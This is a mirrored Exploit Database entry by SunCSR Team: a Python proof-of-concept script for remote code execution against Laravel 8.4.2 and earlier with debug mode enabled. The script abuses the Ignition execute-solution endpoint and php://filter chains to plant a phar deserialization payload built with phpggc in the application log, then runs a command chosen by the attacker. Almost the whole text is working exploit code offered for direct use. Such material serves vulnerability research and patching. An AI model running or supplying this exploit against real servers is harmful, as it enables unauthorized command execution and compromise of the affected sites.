Laravel 8.4.2 debug mode – Remote code execution

• Exploit Database
• 12 阅读

• 作者： SunCSR Team
  日期： 2021-01-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49424/

• # Exploit Title: Laravel 8.4.2 debug mode - Remote code execution
  # Date: 1.14.2021
  # Exploit Author: SunCSR Team
  # Vendor Homepage: https://laravel.com/
  # References: 
  # https://www.ambionics.io/blog/laravel-debug-rce
  # https://viblo.asia/p/6J3ZgN8PKmB
  # Version: <= 8.4.2
  # Tested on: Ubuntu 18.04 + nginx + php 7.4.3
  # Github POC: https://github.com/khanhnv-2091/laravel-8.4.2-rce
  
  
  #!/usr/bin/env python3
  
  import requests, sys, re, os
  
  header={
  "Accept": "application/json"
  }
  
  data = {
  "solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",\
  "parameters":{
  "variableName":"cm0s",
  "viewFile":""
  }
  }
  
  def clear_log(url='', viewFile=''):
  
  global data
  
  data['parameters']['viewFile'] = viewFile
  while (requests.post(url=url, json=data, headers=header, verify=False).status_code != 200): pass
  requests.post(url=url, json=data, headers=header, verify=False)
  requests.post(url=url, json=data, headers=header, verify=False)
  
  def create_payload(url='', viewFile=''):
  
  global data
  
  data['parameters']['viewFile'] = viewFile
  resp = requests.post(url=url, json=data, headers=header, verify=False)
  if resp.status_code == 500 and f'file_get_contents({viewFile})' in resp.text:
  return True
  return False
  
  def convert(url='', viewFile=''):
  
  global data
  
  data['parameters']['viewFile'] = viewFile
  resp = requests.post(url=url, json=data, headers=header, verify=False)
  if resp.status_code == 200:
  return True
  return False
  
  def exploited(url='', viewFile=''):
  
  global data
  
  data['parameters']['viewFile'] = viewFile
  resp = requests.post(url=url, json=data, headers=header, verify=False)
  if resp.status_code == 500 and 'cannot be empty' in resp.text:
  m = re.findall(r'\{(.|\n)+\}((.|\n)*)', resp.text)
  print()
  print(m[0][1])
  
  def generate_payload(command='', padding=0):
  if '/' in command:
  command = command.replace('/', '\/')
  command = command.replace('\'', '\\\'')
  os.system(r'''php -d'phar.readonly=0' ./phpggc/phpggc monolog/rce1 system '%s' --phar phar -o php://output | base64 -w0 | sed -E 's/./\0=00/g' > payload.txt'''%(command))
  payload = ''
  with open('payload.txt', 'r') as fp:
  payload = fp.read()
  payload = payload.replace('==', '=3D=')
  for i in range(padding):
  payload += '=00'
  os.system('rm -rf payload.txt')
  return payload
  
  
  def main():
  
  if len(sys.argv) < 4:
  print('Usage:%s url path-log command\n'%(sys.argv[0]))
  print('\tEx: %s http(s)://pwnme.me:8000 /var/www/html/laravel/storage/logs/laravel.log \'id\''%(sys.argv[0]))
  exit(1)
  
  if not os.path.isfile('./phpggc/phpggc'):
  print('Phpggc not found!')
  print('Run command: git clone https://github.com/ambionics/phpggc.git')
  os.system('git clone https://github.com/ambionics/phpggc.git')
  
  url = sys.argv[1]
  path_log = sys.argv[2]
  command = sys.argv[3]
  padding = 0
  
  payload = generate_payload(command, padding)
  if not payload:
  print('Generate payload error!')
  exit(1)
  
  if 'http' not in url and 'https' not in url:
  url = 'http'+url
  else:
  url = url+'/_ignition/execute-solution'
  
  print('\nExploit...')
  clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log))
  create_payload(url, 'AA')
  create_payload(url, payload)
  while (not convert(url, 'php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=%s'%(path_log))):
  clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log))
  create_payload(url, 'AA')
  padding += 1
  payload = generate_payload(command, padding)
  create_payload(url, payload)
  
  exploited(url, 'phar://%s'%(path_log))
  
  if __name__ == '__main__':
  main()